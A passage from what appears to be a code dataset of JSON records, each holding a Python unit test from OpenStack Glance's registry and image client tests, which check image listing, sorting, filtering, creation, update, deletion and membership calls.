True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 20,\n 'checksum': None,\n 'created_at': None,\n 'updated_at': time2}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images(sort_key='updated_at', sort_dir='desc')\n\n self.assertEquals(len(images), 3)\n self.assertEquals(images[0]['id'], UUID3)\n self.assertEquals(images[1]['id'], UUID4)\n self.assertEquals(images[2]['id'], UUID2)", "metadata": "root.TestRegistryClient.test_get_index_sort_updated_at_desc", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 449 }, { "content": " def test_get_image_index_marker(self):\n \"\"\"Test correct set of images returned with marker param.\"\"\"\n UUID3 = _gen_uuid()\n extra_fixture = {'id': UUID3,\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n UUID4 = _gen_uuid()\n extra_fixture = {'id': UUID4,\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #125',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images(marker=UUID4)\n\n self.assertEquals(len(images), 2)\n self.assertEquals(images[0]['id'], UUID3)\n self.assertEquals(images[1]['id'], UUID2)", "metadata": "root.TestRegistryClient.test_get_image_index_marker", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 493 }, { "content": " def test_get_image_index_invalid_marker(self):\n \"\"\"Test exception is raised when marker is invalid\"\"\"\n self.assertRaises(exception.Invalid,\n self.client.get_images,\n marker=_gen_uuid())", "metadata": "root.TestRegistryClient.test_get_image_index_invalid_marker", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 525 }, { "content": " def test_get_image_index_limit(self):\n \"\"\"Test correct number of images returned with limit param.\"\"\"\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #125',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images(limit=2)\n self.assertEquals(len(images), 2)", "metadata": "root.TestRegistryClient.test_get_image_index_limit", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 531 }, { "content": " def test_get_image_index_marker_limit(self):\n \"\"\"Test correct set of images returned with marker/limit params.\"\"\"\n UUID3 = _gen_uuid()\n extra_fixture = {'id': UUID3,\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n UUID4 = _gen_uuid()\n extra_fixture = {'id': UUID4,\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #125',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images(marker=UUID3, limit=1)\n\n self.assertEquals(len(images), 1)\n self.assertEquals(images[0]['id'], UUID2)", "metadata": "root.TestRegistryClient.test_get_image_index_marker_limit", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 558 }, { "content": " def test_get_image_index_limit_None(self):\n \"\"\"Test correct set of images returned with limit param == None.\"\"\"\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #125',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images(limit=None)\n self.assertEquals(len(images), 3)", "metadata": "root.TestRegistryClient.test_get_image_index_limit_None", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 589 }, { "content": " def test_get_image_index_by_name(self):\n \"\"\"\n Test correct set of public, name-filtered image returned. This\n is just a sanity check, we test the details call more in-depth.\n \"\"\"\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images(filters={'name': 'new name! #123'})\n self.assertEquals(len(images), 1)\n\n for image in images:\n self.assertEquals('new name! #123', image['name'])", "metadata": "root.TestRegistryClient.test_get_image_index_by_name", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 616 }, { "content": " def test_get_image_details(self):\n \"\"\"Tests that the detailed info about public images returned\"\"\"\n fixture = {'id': UUID2,\n 'name': 'fake image #2',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'status': 'active',\n 'size': 19,\n 'properties': {}}\n\n images = self.client.get_images_detailed()\n\n self.assertEquals(len(images), 1)\n for k, v in fixture.items():\n self.assertEquals(v, images[0][k])", "metadata": "root.TestRegistryClient.test_get_image_details", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 638 }, { "content": " def test_get_image_details_marker_limit(self):\n \"\"\"Test correct set of images returned with marker/limit params.\"\"\"\n UUID3 = _gen_uuid()\n extra_fixture = {'id': UUID3,\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #125',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images_detailed(marker=UUID3, limit=1)\n\n self.assertEquals(len(images), 1)\n self.assertEquals(images[0]['id'], UUID2)", "metadata": "root.TestRegistryClient.test_get_image_details_marker_limit", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 655 }, { "content": " def test_get_image_details_invalid_marker(self):\n \"\"\"Test exception is raised when marker is invalid\"\"\"\n self.assertRaises(exception.Invalid,\n self.client.get_images_detailed,\n marker=_gen_uuid())", "metadata": "root.TestRegistryClient.test_get_image_details_invalid_marker", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 685 }, { "content": " def test_get_image_details_by_name(self):\n \"\"\"Tests that a detailed call can be filtered by name\"\"\"\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n filters = {'name': 'new name! #123'}\n images = self.client.get_images_detailed(filters=filters)\n\n self.assertEquals(len(images), 1)\n for image in images:\n self.assertEquals('new name! #123', image['name'])", "metadata": "root.TestRegistryClient.test_get_image_details_by_name", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 691 }, { "content": " def test_get_image_details_by_status(self):\n \"\"\"Tests that a detailed call can be filtered by status\"\"\"\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images_detailed(filters={'status': 'saving'})\n\n self.assertEquals(len(images), 1)\n for image in images:\n self.assertEquals('saving', image['status'])", "metadata": "root.TestRegistryClient.test_get_image_details_by_status", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 711 }, { "content": " def test_get_image_details_by_container_format(self):\n \"\"\"Tests that a detailed call can be filtered by container_format\"\"\"\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n filters = {'container_format': 'ovf'}\n images = self.client.get_images_detailed(filters=filters)\n\n self.assertEquals(len(images), 2)\n for image in images:\n self.assertEquals('ovf', image['container_format'])", "metadata": "root.TestRegistryClient.test_get_image_details_by_container_format", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 730 }, { "content": " def test_get_image_details_by_disk_format(self):\n \"\"\"Tests that a detailed call can be filtered by disk_format\"\"\"\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n filters = {'disk_format': 'vhd'}\n images = self.client.get_images_detailed(filters=filters)\n\n self.assertEquals(len(images), 2)\n for image in images:\n self.assertEquals('vhd', image['disk_format'])", "metadata": "root.TestRegistryClient.test_get_image_details_by_disk_format", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 750 }, { "content": " def test_get_image_details_with_maximum_size(self):\n \"\"\"Tests that a detailed call can be filtered by size_max\"\"\"\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 21,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images_detailed(filters={'size_max': 20})\n\n self.assertEquals(len(images), 1)\n for image in images:\n self.assertTrue(image['size'] <= 20)", "metadata": "root.TestRegistryClient.test_get_image_details_with_maximum_size", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 770 }, { "content": " def test_get_image_details_with_minimum_size(self):\n \"\"\"Tests that a detailed call can be filtered by size_min\"\"\"\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 20,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images_detailed(filters={'size_min': 20})\n\n self.assertEquals(len(images), 1)\n for image in images:\n self.assertTrue(image['size'] >= 20)", "metadata": "root.TestRegistryClient.test_get_image_details_with_minimum_size", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 789 }, { "content": " def test_get_image_details_with_changes_since(self):\n \"\"\"Tests that a detailed call can be filtered by size_min\"\"\"\n dt1 = datetime.datetime.utcnow() - datetime.timedelta(1)\n iso1 = utils.isotime(dt1)\n\n dt2 = datetime.datetime.utcnow() + datetime.timedelta(1)\n iso2 = utils.isotime(dt2)\n\n dt3 = datetime.datetime.utcnow() + datetime.timedelta(2)\n iso3 = utils.isotime(dt3)\n\n dt4 = datetime.datetime.utcnow() + datetime.timedelta(3)\n iso4 = utils.isotime(dt4)\n\n UUID3 = _gen_uuid()\n extra_fixture = {'id': UUID3,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'fake image #3',\n 'size': 18,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n db_api.image_destroy(self.context, 3)\n\n UUID4 = _gen_uuid()\n extra_fixture = {'id': UUID4,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'ami',\n 'container_format': 'ami',\n 'name': 'fake image #4',\n 'size': 20,\n 'checksum': None,\n 'created_at': dt3,\n 'updated_at': dt3}\n\n db_api.image_create(self.context, extra_fixture)\n\n # Check a standard list, 4 images in db (2 deleted)\n images = self.client.get_images_detailed(filters={})\n self.assertEquals(len(images), 2)\n self.assertEqual(images[0]['id'], UUID4)\n self.assertEqual(images[1]['id'], UUID2)\n\n # Expect 3 images (1 deleted)\n filters = {'changes-since': iso1}\n images = self.client.get_images(filters=filters)\n self.assertEquals(len(images), 3)\n self.assertEqual(images[0]['id'], UUID4)\n self.assertEqual(images[1]['id'], UUID3) # deleted\n self.assertEqual(images[2]['id'], UUID2)\n\n # Expect 1 images (0 deleted)\n filters = {'changes-since': iso2}\n images = self.client.get_images_detailed(filters=filters)\n self.assertEquals(len(images), 1)\n self.assertEqual(images[0]['id'], UUID4)\n\n # Expect 0 images (0 deleted)\n filters = {'changes-since': iso4}\n images = self.client.get_images(filters=filters)\n self.assertEquals(len(images), 0)", "metadata": "root.TestRegistryClient.test_get_image_details_with_changes_since", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 808 }, { "content": " def test_get_image_details_with_changes_since(self):\n \"\"\"Tests that a detailed call can be filtered by changes-since\"\"\"\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 20,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images_detailed(filters={'size_min': 20})\n self.assertEquals(len(images), 1)\n\n for image in images:\n self.assertTrue(image['size'] >= 20)", "metadata": "root.TestRegistryClient.test_get_image_details_with_changes_since", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 874 }, { "content": " def test_get_image_details_by_property(self):\n \"\"\"Tests that a detailed call can be filtered by a property\"\"\"\n extra_fixture = {'id': _gen_uuid(),\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 19,\n 'checksum': None,\n 'properties': {'p a': 'v a'}}\n\n db_api.image_create(self.context, extra_fixture)\n\n filters = {'property-p a': 'v a'}\n images = self.client.get_images_detailed(filters=filters)\n self.assertEquals(len(images), 1)\n\n for image in images:\n self.assertEquals('v a', image['properties']['p a'])", "metadata": "root.TestRegistryClient.test_get_image_details_by_property", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 893 }, { "content": " def test_get_image_details_sort_disk_format_asc(self):\n \"\"\"\n Tests that a detailed call returns list of\n public images sorted alphabetically by disk_format in\n ascending order.\n \"\"\"\n UUID3 = _gen_uuid()\n extra_fixture = {'id': UUID3,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'ami',\n 'container_format': 'ami',\n 'name': 'asdf',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n UUID4 = _gen_uuid()\n extra_fixture = {'id': UUID4,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'vdi',\n 'container_format': 'ovf',\n 'name': 'xyz',\n 'size': 20,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images_detailed(sort_key='disk_format',\n sort_dir='asc')\n\n self.assertEquals(len(images), 3)\n self.assertEquals(images[0]['id'], UUID3)\n self.assertEquals(images[1]['id'], UUID4)\n self.assertEquals(images[2]['id'], UUID2)", "metadata": "root.TestRegistryClient.test_get_image_details_sort_disk_format_asc", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 914 }, { "content": " def test_get_image(self):\n \"\"\"Tests that the detailed info about an image returned\"\"\"\n fixture = {'id': UUID1,\n 'name': 'fake image #1',\n 'is_public': False,\n 'disk_format': 'ami',\n 'container_format': 'ami',\n 'status': 'active',\n 'size': 13,\n 'properties': {'type': 'kernel'}}\n\n data = self.client.get_image(UUID1)\n\n for k, v in fixture.items():\n el = data[k]\n self.assertEquals(v, data[k],\n \"Failed v != data[k] where v = %(v)s and \"\n \"k = %(k)s and data[k] = %(el)s\" % locals())", "metadata": "root.TestRegistryClient.test_get_image", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 952 }, { "content": " def test_get_image_non_existing(self):\n \"\"\"Tests that NotFound is raised when getting a non-existing image\"\"\"\n self.assertRaises(exception.NotFound,\n self.client.get_image,\n _gen_uuid())", "metadata": "root.TestRegistryClient.test_get_image_non_existing", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 971 }, { "content": " def test_add_image_basic(self):\n \"\"\"Tests that we can add image metadata and returns the new id\"\"\"\n fixture = {'name': 'fake public image',\n 'is_public': True,\n 'disk_format': 'vmdk',\n 'container_format': 'ovf',\n 'size': 19,\n }\n\n new_image = self.client.add_image(fixture)\n\n # Test all other attributes set\n data = self.client.get_image(new_image['id'])\n\n for k, v in fixture.items():\n self.assertEquals(v, data[k])\n\n # Test status was updated properly\n self.assertTrue('status' in data.keys())\n self.assertEquals('active', data['status'])", "metadata": "root.TestRegistryClient.test_add_image_basic", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 977 }, { "content": " def test_add_image_with_properties(self):\n \"\"\"Tests that we can add image metadata with properties\"\"\"\n fixture = {'name': 'fake public image',\n 'is_public': True,\n 'disk_format': 'vmdk',\n 'container_format': 'ovf',\n 'size': 19,\n 'location': \"file:///tmp/glance-tests/2\",\n 'properties': {'distro': 'Ubuntu 10.04 LTS'}}\n\n new_image = self.client.add_image(fixture)\n\n del fixture['location']\n for k, v in fixture.items():\n self.assertEquals(v, new_image[k])\n\n # Test status was updated properly\n self.assertTrue('status' in new_image.keys())\n self.assertEquals('active', new_image['status'])", "metadata": "root.TestRegistryClient.test_add_image_with_properties", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 998 }, { "content": " def test_add_image_already_exists(self):\n \"\"\"Tests proper exception is raised if image with ID already exists\"\"\"\n fixture = {'id': UUID2,\n 'name': 'fake public image',\n 'is_public': True,\n 'disk_format': 'vmdk',\n 'container_format': 'ovf',\n 'size': 19,\n 'location': \"file:///tmp/glance-tests/2\",\n }\n\n self.assertRaises(exception.Duplicate,\n self.client.add_image,\n fixture)", "metadata": "root.TestRegistryClient.test_add_image_already_exists", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1018 }, { "content": " def test_add_image_with_bad_status(self):\n \"\"\"Tests proper exception is raised if a bad status is set\"\"\"\n fixture = {'name': 'fake public image',\n 'is_public': True,\n 'disk_format': 'vmdk',\n 'container_format': 'ovf',\n 'status': 'bad status',\n 'size': 19,\n 'location': \"file:///tmp/glance-tests/2\",\n }\n\n self.assertRaises(exception.Invalid,\n self.client.add_image,\n fixture)", "metadata": "root.TestRegistryClient.test_add_image_with_bad_status", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1033 }, { "content": " def test_update_image(self):\n \"\"\"Tests that the /images PUT registry API updates the image\"\"\"\n fixture = {'name': 'fake public image #2',\n 'disk_format': 'vmdk'}\n\n self.assertTrue(self.client.update_image(UUID2, fixture))\n\n # Test all other attributes set\n data = self.client.get_image(UUID2)\n\n for k, v in fixture.items():\n self.assertEquals(v, data[k])", "metadata": "root.TestRegistryClient.test_update_image", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1048 }, { "content": " def test_update_image_not_existing(self):\n \"\"\"Tests non existing image update doesn't work\"\"\"\n fixture = {'name': 'fake public image',\n 'is_public': True,\n 'disk_format': 'vmdk',\n 'container_format': 'ovf',\n 'status': 'bad status',\n }\n\n self.assertRaises(exception.NotFound,\n self.client.update_image,\n _gen_uuid(),\n fixture)", "metadata": "root.TestRegistryClient.test_update_image_not_existing", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1061 }, { "content": " def test_delete_image(self):\n \"\"\"Tests that image metadata is deleted properly\"\"\"\n # Grab the original number of images\n orig_num_images = len(self.client.get_images())\n\n # Delete image #2\n self.assertTrue(self.client.delete_image(UUID2))\n\n # Verify one less image\n new_num_images = len(self.client.get_images())\n\n self.assertEquals(new_num_images, orig_num_images - 1)", "metadata": "root.TestRegistryClient.test_delete_image", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1075 }, { "content": " def test_delete_image_not_existing(self):\n \"\"\"Tests cannot delete non-existing image\"\"\"\n self.assertRaises(exception.NotFound,\n self.client.delete_image,\n _gen_uuid())", "metadata": "root.TestRegistryClient.test_delete_image_not_existing", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1088 }, { "content": " def test_get_image_members(self):\n \"\"\"Tests getting image members\"\"\"\n memb_list = self.client.get_image_members(UUID2)\n num_members = len(memb_list)\n self.assertEquals(num_members, 0)", "metadata": "root.TestRegistryClient.test_get_image_members", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1094 }, { "content": " def test_get_image_members_not_existing(self):\n \"\"\"Tests getting non-existant image members\"\"\"\n self.assertRaises(exception.NotFound,\n self.client.get_image_members,\n _gen_uuid())", "metadata": "root.TestRegistryClient.test_get_image_members_not_existing", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1100 }, { "content": " def test_get_member_images(self):\n \"\"\"Tests getting member images\"\"\"\n memb_list = self.client.get_member_images('pattieblack')\n num_members = len(memb_list)\n self.assertEquals(num_members, 0)", "metadata": "root.TestRegistryClient.test_get_member_images", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1106 }, { "content": " def test_replace_members(self):\n \"\"\"Tests replacing image members\"\"\"\n self.assertRaises(exception.NotAuthorized,\n self.client.replace_members, UUID2,\n dict(member_id='pattieblack'))", "metadata": "root.TestRegistryClient.test_replace_members", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1112 }, { "content": " def test_add_member(self):\n \"\"\"Tests adding image members\"\"\"\n self.assertRaises(exception.NotAuthorized,\n self.client.add_member, UUID2, 'pattieblack')", "metadata": "root.TestRegistryClient.test_add_member", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1118 }, { "content": " def test_delete_member(self):\n \"\"\"Tests deleting image members\"\"\"\n self.assertRaises(exception.NotAuthorized,\n self.client.delete_member, UUID2, 'pattieblack')", "metadata": "root.TestRegistryClient.test_delete_member", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1123 }, { "content": "class TestClient(base.IsolatedUnitTest):\n\n \"\"\"\n Test proper actions made for both valid and invalid requests\n against a Glance service\n \"\"\"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.TestClient", "header": "['module', '___EOS___']", "index": 1129 }, { "content": " def setUp(self):\n \"\"\"Establish a clean test environment\"\"\"\n super(TestClient, self).setUp()\n db_api.configure_db(self.conf)\n self.client = client.Client(\"0.0.0.0\")\n self.FIXTURES = [\n {'id': UUID1,\n 'name': 'fake image #1',\n 'status': 'active',\n 'disk_format': 'ami',\n 'container_format': 'ami',\n 'is_public': False,\n 'created_at': datetime.datetime.utcnow(),\n 'updated_at': datetime.datetime.utcnow(),\n 'deleted_at': None,\n 'deleted': False,\n 'checksum': None,\n 'size': 13,\n 'location': \"file:///%s/%s\" % (self.test_dir, UUID1),\n 'properties': {'type': 'kernel'}},\n {'id': UUID2,\n 'name': 'fake image #2',\n 'status': 'active',\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'is_public': True,\n 'created_at': datetime.datetime.utcnow(),\n 'updated_at': datetime.datetime.utcnow(),\n 'deleted_at': None,\n 'deleted': False,\n 'checksum': None,\n 'size': 19,\n 'location': \"file:///%s/%s\" % (self.test_dir, UUID2),\n 'properties': {}}]\n self.context = rcontext.RequestContext(is_admin=True)\n self.destroy_fixtures()\n self.create_fixtures()", "metadata": "root.TestClient.setUp", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1136 }, { "content": " def tearDown(self):\n \"\"\"Clear the test environment\"\"\"\n super(TestClient, self).tearDown()\n self.destroy_fixtures()", "metadata": "root.TestClient.tearDown", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1174 }, { "content": " def create_fixtures(self):\n for fixture in self.FIXTURES:\n db_api.image_create(self.context, fixture)\n # We write a fake image file to the filesystem\n with open(\"%s/%s\" % (self.test_dir, fixture['id']), 'wb') as image:\n image.write(\"chunk00000remainder\")\n image.flush()", "metadata": "root.TestClient.create_fixtures", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1179 }, { "content": " def destroy_fixtures(self):\n # Easiest to just drop the models and re-create them...\n db_models.unregister_models(db_api._ENGINE)\n db_models.register_models(db_api._ENGINE)", "metadata": "root.TestClient.destroy_fixtures", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1187 }, { "content": " def test_get_image(self):\n \"\"\"Test a simple file backend retrieval works as expected\"\"\"\n expected_image = 'chunk00000remainder'\n expected_meta = {'id': UUID2,\n 'name': 'fake image #2',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'status': 'active',\n 'size': 19,\n 'properties': {}}\n meta, image_chunks = self.client.get_image(UUID2)\n\n image_data = \"\"\n for image_chunk in image_chunks:\n image_data += image_chunk\n\n self.assertEquals(expected_image, image_data)\n for k, v in expected_meta.items():\n self.assertEquals(v, meta[k])", "metadata": "root.TestClient.test_get_image", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1192 }, { "content": " def test_get_image_not_existing(self):\n \"\"\"Test retrieval of a non-existing image returns a 404\"\"\"\n self.assertRaises(exception.NotFound,\n self.client.get_image,\n _gen_uuid())", "metadata": "root.TestClient.test_get_image_not_existing", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1213 }, { "content": " def test_get_image_index_sort_container_format_desc(self):\n \"\"\"\n Tests that the client returns list of public images\n sorted alphabetically by container_format in\n descending order.\n \"\"\"\n UUID3 = _gen_uuid()\n extra_fixture = {'id': UUID3,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'ami',\n 'container_format': 'ami',\n 'name': 'asdf',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n UUID4 = _gen_uuid()\n extra_fixture = {'id': UUID4,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'iso',\n 'container_format': 'bare',\n 'name': 'xyz',\n 'size': 20,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images(sort_key='container_format',\n sort_dir='desc')\n\n self.assertEquals(len(images), 3)\n self.assertEquals(images[0]['id'], UUID2)\n self.assertEquals(images[1]['id'], UUID4)\n self.assertEquals(images[2]['id'], UUID3)", "metadata": "root.TestClient.test_get_image_index_sort_container_format_desc", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1219 }, { "content": " def test_get_image_index(self):\n \"\"\"Test correct set of public image returned\"\"\"\n fixture = {'id': UUID2,\n 'name': 'fake image #2'}\n images = self.client.get_images()\n self.assertEquals(len(images), 1)\n\n for k, v in fixture.items():\n self.assertEquals(v, images[0][k])", "metadata": "root.TestClient.test_get_image_index", "header": "['class', 'TestClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 1257 }, { "content": " def test_get_image_index_marker(self):\n \"\"\"Test correct set of public images returned with marker param.\"\"\"\n UUID3 = _gen_uuid()\n extra_fixture = {'id': UUID3,\n 'status': 'saving',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n UUID4 